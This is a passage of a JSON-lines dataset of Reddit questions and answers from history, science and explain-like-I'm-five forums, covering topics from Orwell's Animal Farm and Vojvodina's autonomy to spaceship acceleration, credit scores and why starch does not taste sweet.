to fuse political purpose and artistic purpose into one whole.\" Orwell's personal political leaning towards socialism and \"his contempt for what he called 'the ordinary stupid capitalists'\" (Leab) suggests his criticism intended to target the tendency for any utopian movement to extinguish any notion of individuality. Consequently, while the novel is undoubtedly anti-Stalinist, Orwell\u2019s work is underlined by his socialist stance and does not condemn communism. When the novel finally attracted the CIA's attention, they omitted the inconvenient aspects of Orwell\u2019s criticisms and rewrote numerous parts of the source material to create the script for the 1954 animated film version of Animal Farm. \n\nI won't spoil it for you, but I do recommend that you check out the 1954 film after you read the book. The tone completely changes, and it makes for an interesting, if not enjoyable, watch.", "While *Animal Farm* inescapably parodies the Soviet Union and Stalinism, it also encapsulates the social experience of revolution more generally.  Orwell animal characters represent the working class, the bourgeoisie, the media and so on.  Revolutionary history tends to have repetitive themes (right up to the Arab Spring) and *Animal Farm* is subversive to any government that portrays itself as 'revolutionary'.\n\nOrwell was a rare individual in the 1930s and 40s, as a politically aware socialist who was staunchly anti-Soviet.  His experiences in the Spanish Civil War reinforced this, as u/Marsebil-May points out, his socialist faction was turned on by the Soviet-backed Republican leadership.  Orwell saw and noted the methods used, the changing of history, the way a 'new truth' would be parrotted by 'loyalists'. The lies told as various factions tried to claim the kudos for battlefield victory, and deny it to ideological enemies.  Orwell was especially interested in cognitive dissonance: how people could know something to be true, but reject it to remain loyal to the leadership.\n\nSocialism meant many things in the 1930s, and we must bear in mind that at this time, with the Depression, the rise of Fascism, and the glorification of Stalin's USSR it was common for many people to see democracy as a doomed, corrupt and weak system. For many, the choice was fascism, revolutionary communism, or a sort of 'Fabian' socialism were the revolution came by democratic, rather than revolutionary means. Many leading socialist intellectuals visited Russia and returned convinced of the justice and prosperity of Stalin's nation.  \n\nBased on his Spanish war experience and skepticism, Orwell was having none of this. He saw the rivalry between Stalin and Trotsky for what it was.  Notably, in *Animal Farm*, he also presents the original, human owner of the farm as wicked and cruel: the idea of returning to a pre-revolutionary (capitalist) state is no answer.\n\nOrwell kept a strong sense of loyalty to the working people, he never allowed himself to see them as inferior or 'dumb'. His belief in the dignity of ordinary people shines through his work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6l92mp", "title": "What is Vojvodina and why it is oftenly depicted as 'seperate' from Serbia?", "selftext": "Most people know about Kosovo and the dispute between Serbia  &  Albania.\nI saw some maps and I decided to ask why is the area called Vojvodina 'seperated' with dotted lines (Much like Kosovo in order to avoid the flame war). However I've never heard about it.\n\nI have a goods knowledge of the ethnic groups in the Balkans  &  at that particular area. What's the deal with Vojvodina really?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6l92mp/what_is_vojvodina_and_why_it_is_oftenly_depicted/", "answers": {"a_id": ["djsbhgv", "djskqv7"], "score": [4, 15], "text": ["I don't nmknow the fully detailed local history, but the province of Vojvodina is autonomous province. And thats why it has the same dots as Kosovo has/had. The province also enjoyed autonomy during the Yugoslav Republic, and the reason behind the autonomy is probably the multicultural composition of Vojvodina province. Just like ghe province of Kosovo they were provided autonomy, to please the specific needs of the people living there. This is just brief overview, after all your question is very specific and I hope someone with more insight and knowledge about provincial Serbian local history can give a more indeth answer. ", "(Worked for a defense team in the International Criminal Tribunal for the Former Yugoslavia).\n\nVojvodina was an ethnically mixed (1/3 Hungarian, 1/3 Austrian/German, 1/3 Serbian) Hapsburg territory that was annexed to Serbia following the dissolution of the Austro-Hungarian empire following WWI. Compared to the other Yugoslav territories, it had a much larger proportion of non-Southern Slavs (Bosnians, Croations, Kosovars, Macedonians, Serbs, ect) and very strong ethnic pluralities that did not belong to a Yugoslav nation. Since those ethnic pluralities belonged to large nations with irrendist goals, Vojvodina had to be granted a large amount of autonomy in order to ensure peace.\n\nThis state of affairs continued onwards from this foundation, especially as Yugoslavia began to fracture and its *raison d'etre* as a non-ethnic Southern Slav communist nation failed. Serbia is a small country and Vojvodina made up a large chunk of its territory, agricultural output and 1/4 of its population. As such, it couldn't afford to have it either be too powerful or in open rebellion. Milosevic was able to remove much of its independent political power, and some Serbian ultranationalist groups did undertake ethnic based attacks against \"Hungarians\" (catch all term for non-Yugoslavs in Vojvodina), but he was never in a position of sufficient power to completely wipe outs its autonomy, especially as he was surrounded by far more pressing enemies to deal with."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2c9ol9", "title": "Did Soviet trains/airlines have classes of service? If so, what distinguished them/who could access them? How was was such a seemingly-blatant violation of Marxism rationalized?", "selftext": "I can't imagine high party officials traveling in the same train cars with the proletariat. But the irony of \"first class,\" \"second class,\" etc. in what was ostensibly a \"worker's paradise\" is just too rich.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2c9ol9/did_soviet_trainsairlines_have_classes_of_service/", "answers": {"a_id": ["cjdgv06"], "score": [33], "text": ["The nature of Soviet tourism and travel is that privilege didn't as express itself in terms of luxury as in Western tourism (bigger seats, better peanuts, etc.) but rather was defined by *access* to the various state-controlled agencies that handled tourism and travel. The Soviet elite had a much less restricted travel itinerary and far less hurdles navigating the travel bureaucracy.   \n\nThe state subsidized both rail and air fare so much that prices often became divorced from cost, so in theory, any working-class Soviet stiff could afford to travel. In practice, tourism for the rank and file was an exercise in patience and \"organizing\" your travel plan. They typical early Soviet tourist though the Thaw had to navigate either through state agencies like Inturist, Sputnik (the Komsomol travel group), or various workplace-related tour groups.  Air tickets in the 1970s typically had to be booked up to twenty days in advance and then one would receive confirmation up to two to three days before the flight. \n\nYou have to remember that on paper, the Soviet system was very egalitarian. Even the class distinctions between the elite and the bulk of Soviet travelers was not nearly as vast and sharp as  what one would see in Western countries. Soviet elites might have higher quality hotels and food, but places like the so-called \"Soviet Riviera\" at Gagra in the Caucasus did not match the opulence of their Western analogues.  However, where the Soviet system rankled many was its favoritism of its state *apparatchik*; in this case, they reaped more of the benefits of proletarian travel than those the system was to benefit.  \n\n*Sources*\n\nGorsuch, Anne E. *All This Is Your World: Soviet Tourism at Home and Abroad After Stalin*. Oxford: Oxford University Press, 2011. \n\nGorsuch, Anne E., and Diane P. Koenker. *Turizm: The Russian and East European Tourist Under Capitalism and Socialism*. Ithaca [u.a.]: Cornell University Press, 2006. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aa8v0m", "title": "why are large/capitol ships in science fiction portrayed as slower than their fighter counterparts despite having larger engines and not being affected by drag by an atmosphere?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aa8v0m/eli5_why_are_largecapitol_ships_in_science/", "answers": {"a_id": ["ecpwuo4", "ecpx36f", "ecpx66g", "ecpz3aa", "ecq7gb5"], "score": [30, 2, 10, 5, 2], "text": ["What determines the acceleration on a spaceship is not directly the size of the engines but rather the thrust to weight ratio. This is true for modern rockets as well and for ocean going ships. And as these capitol ships in science fiction is quite massive as they have lots of guns they can have a much lower thrust to weight ratio even though they have massive engines as well. Another issue related to their turning rate is that when you have a long ship that is turning the momentum will pull the ships bow and stern from each other. The longer the ship the more forces involved. So you would like to keep the turn rates low as to not exceed the structural capability of the hull. This is similar to how bigger aircraft can not turn as fast as smaller aircraft.", "Newtons second law of motion. Force/Mass = Acceleration. If the increase in thrust is less than the increase in mass the acceleration will be lower. Even without an atmosphere its still more difficult to push bigger things. ", "From a science perspective, inertia. Despite the lack of atmosphere or gravity, a larger ship still has far more mass than a smaller fighter craft, so it takes more thrust to make a change to its velocity, either increasing or slowing the speed or redirecting it in another direction. A fighter also can have a larger percentage of its structure dedicated to engine, so it would have a higher thrust-to-mass ratio, allowing it to move and maneuver more quickly than a capital ship.\n\nFrom an artistic perspective, it's because capital ships are heavily influenced by naval vessels while fighter craft are influenced by planes.", "It's a result of the 'square-cube law'. Strength of something goes up by the square - its width and thickness - but the mass of it goes up by the cube - its width, thickness and length. This law comes up all over the place - it's why little kids can climb, jump and run effortlessly, but an adult needs to be really skilled to do the same. It's why small birds jump straight up and take flight, but large ones need to get a good run-up.\n\nIn this case, it means that large space-craft will be disproportionately heavy, and so small craft will be more nippy. ", "This kind of question might fit better at r/asksciencefiction which is like r/askscience but for fictional scenarios.\n\nBecause it's fiction, the best answer is probably that that's the way the writer wanted it. Maybe a large, slow-moving capital ship is useful thematically or symbolically to the story being told. Or maybe it's just the aesthetic that the writer was going for.\n\n(I'm going to assume for the rest of this that the reader doesn't know what momentum is, so if you do the tl;dr is that conservation of momentum is one possible answer.)\n\nThat said, there is a decent physics-based reason why a large ship would move more slowly than a small one, even in conditions where drag is non-existent: Conservation of momentum. All objects in motion have momentum, and you can think of it almost as \"how hard it is to stop an object\" or something along those lines. Momentum depends on two things: the moving object's mass, and the moving object's velocity. Momentum = (mass) * (velocity) \n\nI think it's important to note here that \"velocity\" is not the same as \"speed.\" In physics, velocity is a vector which means that it has a specific direction. If I'm going South at 30 mph and my friend is going North at 30 mph, we have the same speed but opposite velocities. So what does that mean for momentum? Well, it means that momentum is also a vector, so if my friend and I happen to have the same exact mass, we would also have opposite velocities. \n\n**So what's all this mean for a spaceship?**\n\nMomentum is how we power real spaceships now. I mentioned at the start of this a thing called \"conservation of momentum.\" That's the principle that says if two objects interact, their momentum after interacting must be the same as before they interacted. If I have a rocket sitting still on the launch pad, it has 0 momentum because it's not moving. But now I want it to go into space, so I turn it on and it starts shooting out hot gasses. Those gasses used to be stored as fuel on the rocket, and so they were part of that 0 momentum that the rocket had before. But now they're moving, so they have some momentum (let's say 5 for no reason). So 0 = 5 ? Doesn't take a rocket scientist to know that's wrong, so what else is going on? Well, the actual rocket was also part of that 0 momentum we had initially, so what's going on with it? The answer is that it's going to have an equal and opposite momentum to the gasses it's expelling, so that in total the momentum of the entire system (rocket + fuel) is the same before takeoff and after takeoff. The rocket is moving skyward at some velocity, and the fuel is shooting towards the ground at a different velocity.\n\nSo now back to your scenario: We've got an impossibly large capital ship that we need to get moving. momentum before = momentum after, so 0 = m1v1 + m2v2. Let's use some real numbers because that's fun. An imperial star destroyer weighs about 100,000,000 kg depending on who you ask and what assumptions you make, and let's say that its thrusters output something like 100 kg per second of fuel. Let's also say that we want the ship to go 1 meter per second \n\n >  0 = (100,000,000)(1) + (100)(v2)\n\n >  -100(v2) = 100,000,000 \n\n >  v2= -1,000,000 meters/second \n\n > (the negative signifies that this velocity's direction is opposite the other velocity)\n\nOur fuel has to be going really fast just to get us moving at all. Bigger engines could help, maybe we replace the ones we have with ones that have double the output. The problem there is that bigger engines are, well, *bigger* so they're going to increase our weight too. Rocket scientists have to balance all these factors just right to make a working rocket, and a lot of times the solutions they come up with aren't what you might think initially. If we shot out a very small mass of fuel (like maybe one or two atoms at a time) but they were going really really fast (like half of lightspeed) we can get some pretty good momentum for our ship because half of lightspeed is a very, very big number. That's how real life technology like an ion drive works."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1qilse", "title": "What archaeologic evidence exists that Irish monks colonized Iceland before the arrival of the Norse?", "selftext": "It's one thing I've heard a couple of times but I've never been told of any archaeological digs on former settlements, remains of buildings, artifacts, tombs or domestic animals associated to them. Is there some actual proof of it? If not, where does the idea come from (some chronicle similar to St. Brendan's voyage?)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1qilse/what_archaeologic_evidence_exists_that_irish/", "answers": {"a_id": ["cddbzg4", "cddgilo"], "score": [8, 3], "text": ["That's an interesting question!\n\nWe think that Iceland was settled by Irish monks shortly before the first Norwegian settlers arrived in around 871 (or maybe earlier). That's because we are told as much in two of the earliest written sources we have on the settlement of Iceland, *\u00cdslendingab\u00f3k* and *Landn\u00e1mab\u00f3k*.\n\nHere are the two accounts:\n\n*\u00cdslendingab\u00f3k*:\n >  There were Christian men here, which the Northmen called *papar* but they went abroad then because they didn't want to be here with heathens. And they left behind Irish books and bells and staves. From this one can see that they were Irishmen.\n\n^[Source](_URL_0_), ^My ^translation\n\n*Landn\u00e1mab\u00f3k* (*Sturlub\u00f3k* version):\n >  And before Iceland was settled from Norway those men were there, which the Northmen called *papar*. They were Christians and people believe that they were from west of the sea (i.e. Ireland) because from them were found Irish books, bells and staves and more things from which they could see that they were Irishmen. And it is also talked about in English books that in those times people travelled between the(se) lands.\n\n^[Source](_URL_1_), ^My ^translation\n\n\nAs you can see it's quite likely that these Irish monks actually did exist, there might even be some lost English source that could tell us more but there are no other extant independent sources for this claim. You can also see that the *Landn\u00e1mab\u00f3k* account is obviously based on the one from *\u00cdslendingab\u00f3k* so there's only really one reliable written source on this. As such it is possible that the author of *\u00cdslendingab\u00f3k*, Ari in fr\u00f3\u00f0i, made it all up. This is rather unlikely, though. It seems Ari is a very reliable historian for his time. He mentions the sources of the stories he collected and he even attempts a bit of source criticism.\n\nThat said there is not a single bit of archaeological evidence that there was any kind of Irish settlement (or any other human settlement) in Iceland before the Northmen arrived. Of course, a small settlement of Irish ascetics wouldn't leave many archaeological traces but we are told that at least some recognizable Irish material culture must have been present, i.e. bells, books and staves. So there's three possible scenarios here:\n\na) There was no Irish settlement\n\nb) There was a settlement but it left no visible traces \n\nc) There was a settlement but it has not been found yet or was destroyed beyond recognition\n\nI think a) and c) are both equally likely. b) not so much, since Icelandic archaeologists have been looking for these settlements for decades and are very primed to find any evidence of pre-*landn\u00e1m* activity. If even the slightest trace existed in a known excavation someone would probably have found it.\n\nYou can also see that the written sources don't give us any information on where to look for these Irish settlements. There is, however some toponymic evidence: Off the east coast of Iceland there's a small island called *[Papey](_URL_2_)*. As we have seen, the Icelandic word for those priests is *papar* so one possible translation of the island's name is \"Island of the Irish Priests\". It would make sense, then, to look for them on this island. Indeed there have been large-scale excavation and survey projects but they haven't found anything relevant. \n(Interesting piece of trivia: the director of these investigations was Kristi\u00e1n Eldj\u00e1rn, not only arguably the most important Icelandic archaeologist (he wrote the book on pre-Christian burials in Iceland) but also at the time president of the country!)", "I am going to come at this from an archaeological, rather than historical, perspective. For Iceland, there is no concrete evidence of the papar, as these Irish monks are called in the literature, but it is still a somewhat controversial issue (as a [google scholar search](_URL_0_) shows). The issue, I think, is that Icelandic archaeology retains a strong tie to the historical books that are available as sources. \n\nThe earliest concrete evidence for settlement in Iceland that I know of comes from the Reykjavik area; there are some longhouses that have been excavated that are beneath the volcanic ash layer known as the \"landn\u00e1m layer\" (landn\u00e1m being the term for the Norse arrival). The landn\u00e1m layer of volcanic ash is dated by the Greenland ice cores to c. AD 871 +/- 2. By finding longhouses stratigraphically below it, we know that they pre-date the ash layer -- but the two I am thinking of are RIGHT below the ash layer, and are clearly Norse in style.\n\nThe place that has had some proof of pre-Norse settlers -- most likely papar -- is the Faroes. I can recommend some academic papers on this if you are interested, but basically recent (last five years, for the most part) research into pollen cores has found evidence for non-native grains -- basically, cultivated, domesticated plants -- in the Faroes from before the Norse are supposed to have arrived. This would be around AD 600. The Norse are not supposed to have arrived in the Faroes until around AD 800. However, all of this is based on radiocarbon dating, which can have quite a wide error range for this period -- but I do think there is compelling evidence for pre-Norse human settlement, if not permanent settlement, in the Faroes.\n\nFinally, I want to address the site of Herj\u00f3lfsdalur, which is in the Vestmann Islands (off Iceland's southwest coast). This site was once regarded as proof positive of papar presence in Iceland pre-Norse because of some radiocarbon dates. However, the site culturally has nothing to suggest anything but Norse settlers, and the radiocarbon dates should not really be trusted for lots of technical reasons that I could get into but won't bore you with. :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.heimskringla.no/wiki/%C3%8Dslendingab%C3%B3k", "http://www.snerpa.is/net/snorri/landnama.htm", "https://maps.google.com/maps?ll=64.6,-14.183333&amp;q=loc:64.6,-14.183333&amp;hl=en&amp;t=h&amp;z=12"], ["http://scholar.google.co.uk/scholar?q=papar+in+iceland&amp;btnG=&amp;hl=en&amp;as_sdt=0%2C5"]]}
{"q_id": "4q3i25", "title": "How far removed from the original noble do you have to be before you're no longer considered noble? I can imagine that most of Europe would become noble within a few centuries if descent is the only criteria", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4q3i25/how_far_removed_from_the_original_noble_do_you/", "answers": {"a_id": ["d4q6xx4", "d4qbahn", "d4rd6o0"], "score": [531, 43, 3], "text": ["The rules on English aristocracy dictate that only the title holder is technically noble. So the Duke of Marlborough for example is a nobleman, but his wife the Duchess is not, she is given an honorary title. The same applies to his sons and daughters; only the office holder is permitted to be a noble person. As a result, in England if you have to ask if you're noble, you're not. (There are slightly different rules and titles in Scotland, Wales [I think] and Ireland I'm not qualified to comment on.)\n\nHowever, this is different from the Bourbon French idea of aristocracy which ennobled all members of a family. This came into conflict as well with the ideas of inheritance in that all members of a French noble person's family would receive an equal share. As a result, I can't accurately comment on the number of noble French people living today where you can identify with great accuracy the number of noble English. \n\nSource: Debretts Handbook, 2016. ", "It really depends on the style of nobility, the legal standing of the class, and the type and strength of government at the time. In France, before 1848, the nobility was granted a few special legal rights by the monarchy. Nobility could be lost if engaging in a profession that was considered common labor. It was a hereditary right, passed along to legitimate male heirs, and also by marriage if the man was noble. Thus, a daughter could not marry a commoner and remain noble, and so would probably be encouraged to marry a nobleman. This social class structure would encourage courtship and marriage amongst nobles, and so nobility would not expand to the commoners very quickly. The monarchy was generally strong in France, and had reason to limit the power of the nobility, and the noble class was never very large.\n\nIn contrast, the Polish had a very strong noble class (Szlachta) that removed the hereditary monarchy, and had very broad rights and privileges. The philosophy of the nobility was that all members were socially equal, despite vastly differing wealth, professions, and political clout. A good part of the nobility was also probably made up of pretenders with no actual claim to nobility. At its height, in the early 18th century, it's estimated that the Szlachta made up 15% of the population.\n\nMost nobility is directly hereditary by design, to function as a stable upper class, but that doesn't mean that every single family member or descendant is a member of the nobility.", "Are we allowed to ask related questions here? I'm  curious as to what kind of jobs family members of nobles would be able to acquire. If you were the son of the Count's brother, say, what sort of positions would be available to you?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "84liak", "title": "how and by what means can the origin of the poison be determined, example from the recent poisoning in uk where they know it came from russia?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/84liak/eli5_how_and_by_what_means_can_the_origin_of_the/", "answers": {"a_id": ["dvqfdns"], "score": [20], "text": ["Certain details of the manufacturing process leave detectable impurities in the chemical.  If you have samples to compare them to, you can determine with decent accuracy what lab they came from. The same sort of technique is used in drug investigations.\n\nAlso, particular ingelredients may be local - as someone else mentioned - making it possible to determine origin.\n\nEdit: however, those sorts of things only tell you where it was *made.*  Russia has, at times since the end of the Cold War, been a *bit* careless with their military stockpile.  Presumably, this is why the Brits gave their unanswered 'deadline for explanation.' as opportunity for the Russians to explain the possible black-market movement of the chemical.\n\nThey may also have other types of evidence, intercepted communications or some cool spy shit, that indicate direct Russian involvement. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2rvthz", "title": "Was the First Lady of the Confederate States of America, Mrs. Jefferson Davis, African American? She sure looks like it to me (Photo in comments).", "selftext": "[Here](_URL_0_) is her wedding photo from when she married Jefferson Davis, the man who would later become the President of the Confederacy. \n\nI saw this yesterday, and couldn't believe it. And I showed some colleagues and friends, and they all agree that she looks bi racial. \n\nI've read her wikipedia and done Google searches, but I've found very little scholarship done on this question. \n\nAlso interesting is that in official portraits, the painters appeared to have minimized her African American features, such as narrowing her nose, thinning her lips, etc. It appears to be a conscious effort. \n\nIt's mind blowing that the first lady of the confederacy was possibly African American. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2rvthz/was_the_first_lady_of_the_confederate_states_of/", "answers": {"a_id": ["cnjrlrt", "cnjvgt9"], "score": [38, 13], "text": ["While the original at [NYPL](_URL_4_) calls this their wedding picture, it's likely not. [This](_URL_0_) is Davis around the time of their wedding - he's clearly much older in the \"wedding\" shot, looking more the way he did in [1861](_URL_2_). At the same time, Varina's dress appears more characteristic of the 1860s than 1845 (round waistline, sheer fabric with a partial lining, bishop sleeves). As other photographs from the 1860s show ([ca. 1860](_URL_1_) and [1869](_URL_3_)), her nose was longer and narrower than it appears in that photo (her lips fuller, too). Since this photo is *not* from their wedding but later, Varina may have been starting to show her age and there may have been some retouching to remove facial wrinkles and shadows, resulting in a broadened nose, the slightly darker skin tone, and the strange flat quality to her face.", "I wonder if the photo you have posted has been altered subtly.  Here's another version:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/7pqdIth"], "answers_urls": [["https://en.wikipedia.org/wiki/File:Jefferson_Davis_1847.jpg", "http://www.encyclopediavirginia.org/media_player?mets_filename=evm00001175mets.xml", "https://en.wikipedia.org/wiki/Jefferson_Davis#mediaviewer/File:President-Jefferson-Davis.jpg", "http://www.encyclopediavirginia.org/media_player?mets_filename=evm00001179mets.xml", "http://digitalgallery.nypl.org/nypldigital/id?97462"], ["http://clevelandcivilwarroundtable.com/images/people/davis/davis_jeff_varina.jpg"]]}
{"q_id": "49f8nx", "title": "Historic Examples of Curved Great Swords", "selftext": "Has there ever been any usage of a large curved sword? Similar to a scimitar but in the weight class of a claymore or zwei?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49f8nx/historic_examples_of_curved_great_swords/", "answers": {"a_id": ["d0reatp"], "score": [3], "text": ["I don't know about weight class, but two-handed recurve sabres were used in the Balkans in ancient times. The Thracians (who lived in what is now northern Greece, Bulgaria and European Turkey) used a massive sword of this type known as the *rhomphaia*, and the Romans encountered a very similar weapon in their wars against the Dacians (who lived in what is now Romania), which they referred to as the *falx*. Allegedly, the Romans reinforced their legionary helmet with additional metal strips and extended its neck guard to protect the infantry against blows from the *falx*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "jmg50", "title": "how to get good credit", "selftext": "I was under the wrong impression that paying bills on a good basis was building me good credit but I didn't fucking have a credit card. Now, is it just credit cards that build you good credit?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jmg50/eli5_how_to_get_good_credit/", "answers": {"a_id": ["c2dbtth", "c2dbtth"], "score": [8, 8], "text": ["Many things affect your credit score and credit worthiness. First, you should know what the basic kinds of debt are.\n\n* **Revolving Debt** is an amount that you borrowed and make payments on, such as a credit card, where the amount you pay is based on the balance. \n\n* **Installment Debt** is an amount that you borrowed that you are paying off in fixed payments. Installment debt is expected to be paid off after a fixed amount of time, in fixed payments, such as a mortgage or car loan. \n\n* **Open Debt** is not as common, it is an amount that you borrow every month (but the amount can be different each month) that you *must pay off each month* as opposed to revolving debt, which you can pay off over time.  Your cell phone and cable bills are revolving debt. \n\nAll of these kinds of debt will show up on your credit report and affect your creditworthiness in ways that will be discussed later. Other financial responsibilities can also affect your credit score, but debt (credit cards, mortgage, etc) can either give you 'good' or 'bad' credit, depending on how you use them. Other financial responsibilities, such as rent, your checking account, and your bills, only really affect your credit if you are irresponsible with them and are sent to collections.\n\nFor example, if you have a credit card, your credit card will report to credit agencies how long your account has been open, how much your credit limit is, what your balance is, and whether or not you regularly pay your bill on time. If you are a good customer, it will help your credit score, if you are a bad customer and don't pay your bill on time or go over your credit limit, it will hurt your credit score. \n\nThe electric company, on the other hand, will not report to the credit company unless you have been a bad customer, and they have to put you into collections. If you don't pay your bill for a long time, the electric company may have a collections agency, either their own or another company who buys your debt from the electric company, call you or sue you to get the money you owe. If this happens is shows up on your credit report and lowers your credit score. The same rules apply (generally) to your apartment, your checking account, and your other bills. So it is important to pay your bills to avoid hurting your credit, but being responsible with your utility bills doesn't help your credit.\n\nWhen your creditworthiness is being evaluated, many factors are taken into consideration.\n\n* **The average length of time an account has been open.** The longer the better. Until you have a long, established credit history, keep your first credit account open, so that your average length is longer.\n\n* **Your credit limit vs how much you borrow.** If your credit limit is $100, and you carry a balance of $98, this doesn't look very good. On the other hand, if you never carry any debt, the company giving you credit isn't making any money on interest, which makes you a good but not amazing customer. Reasonable minds disagree on what the best policy is for carrying debt, but I think it is best to pay the full amount each month. It may build your credit a little bit slower, but it will build your credit, and save you a ton of money in interest, especially since your first credit card is probably going to have a very high interest rate.\n* **Whether or not you pay your bill on time.** This is self explanatory, it is important to pay your bill each month and not go over your credit limit.\n\nRight now if you don't have a credit card, student loans, accounts in collections, or an auto loan, you probably don't have any credit at all. But don't worry! Building credit isn't hard. I currently have \"excellent\" credit even though I'm young and in graduate school. You can check on your credit once a year for free at _URL_0_. Don't worry about purchasing the extra reports that tell you your credit score, that's only really important if you're looking to negotiate a major loan in the near future. \n\nHere are a few things you can do to get the ball rolling on establishing credit\n\n* **Apply for a credit card.** Chances are right now you will only apply for a really low end one with a small credit limit. Try a Target or Macy's card, or a Marathon Gas (my first card!) card, they give out credit cards much more liberally than some companies. \n* **Charge everyday items** to the card, but make sure you don't charge more than you can afford to pay off!\n* **Always pay your bills on time**, and avoid being sent to collections like the plague. This includes your apartment! Don't break a lease, don't leave a mess, and ask for a written statement after your apartment has been cleaned and is ready for a new renter, stating that your account has been paid and you are no longer obligated to pay the apartment company any money. ", "Many things affect your credit score and credit worthiness. First, you should know what the basic kinds of debt are.\n\n* **Revolving Debt** is an amount that you borrowed and make payments on, such as a credit card, where the amount you pay is based on the balance. \n\n* **Installment Debt** is an amount that you borrowed that you are paying off in fixed payments. Installment debt is expected to be paid off after a fixed amount of time, in fixed payments, such as a mortgage or car loan. \n\n* **Open Debt** is not as common, it is an amount that you borrow every month (but the amount can be different each month) that you *must pay off each month* as opposed to revolving debt, which you can pay off over time.  Your cell phone and cable bills are revolving debt. \n\nAll of these kinds of debt will show up on your credit report and affect your creditworthiness in ways that will be discussed later. Other financial responsibilities can also affect your credit score, but debt (credit cards, mortgage, etc) can either give you 'good' or 'bad' credit, depending on how you use them. Other financial responsibilities, such as rent, your checking account, and your bills, only really affect your credit if you are irresponsible with them and are sent to collections.\n\nFor example, if you have a credit card, your credit card will report to credit agencies how long your account has been open, how much your credit limit is, what your balance is, and whether or not you regularly pay your bill on time. If you are a good customer, it will help your credit score, if you are a bad customer and don't pay your bill on time or go over your credit limit, it will hurt your credit score. \n\nThe electric company, on the other hand, will not report to the credit company unless you have been a bad customer, and they have to put you into collections. If you don't pay your bill for a long time, the electric company may have a collections agency, either their own or another company who buys your debt from the electric company, call you or sue you to get the money you owe. If this happens is shows up on your credit report and lowers your credit score. The same rules apply (generally) to your apartment, your checking account, and your other bills. So it is important to pay your bills to avoid hurting your credit, but being responsible with your utility bills doesn't help your credit.\n\nWhen your creditworthiness is being evaluated, many factors are taken into consideration.\n\n* **The average length of time an account has been open.** The longer the better. Until you have a long, established credit history, keep your first credit account open, so that your average length is longer.\n\n* **Your credit limit vs how much you borrow.** If your credit limit is $100, and you carry a balance of $98, this doesn't look very good. On the other hand, if you never carry any debt, the company giving you credit isn't making any money on interest, which makes you a good but not amazing customer. Reasonable minds disagree on what the best policy is for carrying debt, but I think it is best to pay the full amount each month. It may build your credit a little bit slower, but it will build your credit, and save you a ton of money in interest, especially since your first credit card is probably going to have a very high interest rate.\n* **Whether or not you pay your bill on time.** This is self explanatory, it is important to pay your bill each month and not go over your credit limit.\n\nRight now if you don't have a credit card, student loans, accounts in collections, or an auto loan, you probably don't have any credit at all. But don't worry! Building credit isn't hard. I currently have \"excellent\" credit even though I'm young and in graduate school. You can check on your credit once a year for free at _URL_0_. Don't worry about purchasing the extra reports that tell you your credit score, that's only really important if you're looking to negotiate a major loan in the near future. \n\nHere are a few things you can do to get the ball rolling on establishing credit\n\n* **Apply for a credit card.** Chances are right now you will only apply for a really low end one with a small credit limit. Try a Target or Macy's card, or a Marathon Gas (my first card!) card, they give out credit cards much more liberally than some companies. \n* **Charge everyday items** to the card, but make sure you don't charge more than you can afford to pay off!\n* **Always pay your bills on time**, and avoid being sent to collections like the plague. This includes your apartment! Don't break a lease, don't leave a mess, and ask for a written statement after your apartment has been cleaned and is ready for a new renter, stating that your account has been paid and you are no longer obligated to pay the apartment company any money. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.annualcreditreport.com"], ["www.annualcreditreport.com"]]}
{"q_id": "bjw3uy", "title": "Why don\u2019t starch and cellulose taste sweet like sugars, although they\u2019re polymers of sugars?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bjw3uy/why_dont_starch_and_cellulose_taste_sweet_like/", "answers": {"a_id": ["embqt2z", "embthn6", "embujvx", "embuzfz", "embw6cz", "embweis", "emc03x7", "emc3xgi", "emcc7c1", "emcfw1c", "emckusr", "emckw67", "emcwrt5", "emd1jwn", "emd6mre", "emdb3vf", "eme31a9", "eme43rh", "emefng3", "emeit56", "emexcqj"], "score": [110, 2373, 116, 38, 13, 4, 3, 2, 11, 10, 2, 4, 4, 4, 5, 3, 2, 2, 2, 2, 2], "text": ["I'm sure there's some explanation that takes into account how things interact with your taste buds etc, but I'm uneducated in that respect. What I will say is that polymer characteristics are often (almost always) different than monomer characteristics. \n\nTake for example ethylene, which is a gas at room temperature, and compare that to polyethylene in any form you'd like. Let's say some low-density polyethylene that you might use for a plastic bag. First of all, you've lost the double-bond character in the polymerization process, so you shouldn't expect it to be able to participate in similar chemistry--and you would be right in thinking so. Polyethylene is quite inert since it's a massive chain of carbon-carbon bonds. \n\nLikewise you can imagine that the process that polymerizes sugars changes their chemical characteristics enough that the polymer shouldn't be expected to act like the monomer. \n\nIt's a matter of scale though, as dimers can sometimes be quite similar to their monomeric units. \n\nOr for instance, there are sugars like sucrose that incorporate two monosaccharides (fructose, glucose) and sucrose is certainly sweet.", "Perception of taste and smell work on a ligand-receptor principle (falls under the classic \"lock and key\" analogy). A compound (sugar) binds to a receptor (taste bud) which then initiates a series of chemical and electrical events resulting in 